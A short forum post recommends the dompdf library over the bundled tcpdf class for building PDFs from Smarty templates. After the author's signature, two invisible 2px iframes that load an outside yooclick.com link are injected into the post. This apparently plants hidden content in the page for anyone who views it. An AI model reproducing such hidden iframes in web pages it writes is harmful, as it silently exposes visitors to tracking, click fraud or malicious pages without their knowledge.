Alternative to tcpdf class using Smarty

Hey,

Just a heads up to all users...

There's a class called dompdf which is located at:

http://www.digitaljunkies.ca/dompdf/usage.php

It is easier, IMHO, than the bundled tcpdf class to use if you need to create docs from scratch and not simply tweak what is offered (that is, it's easier if you already know HTML coding, PHP and Smarty).

You can set up your custom doc as a Smarty template, fetch it, and pass the resultant HTML to dompdf. Adjust the stylesheet using standard css language.

Also see Smarty docs

Cheers,

kmitz <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

Sign In or Register to comment.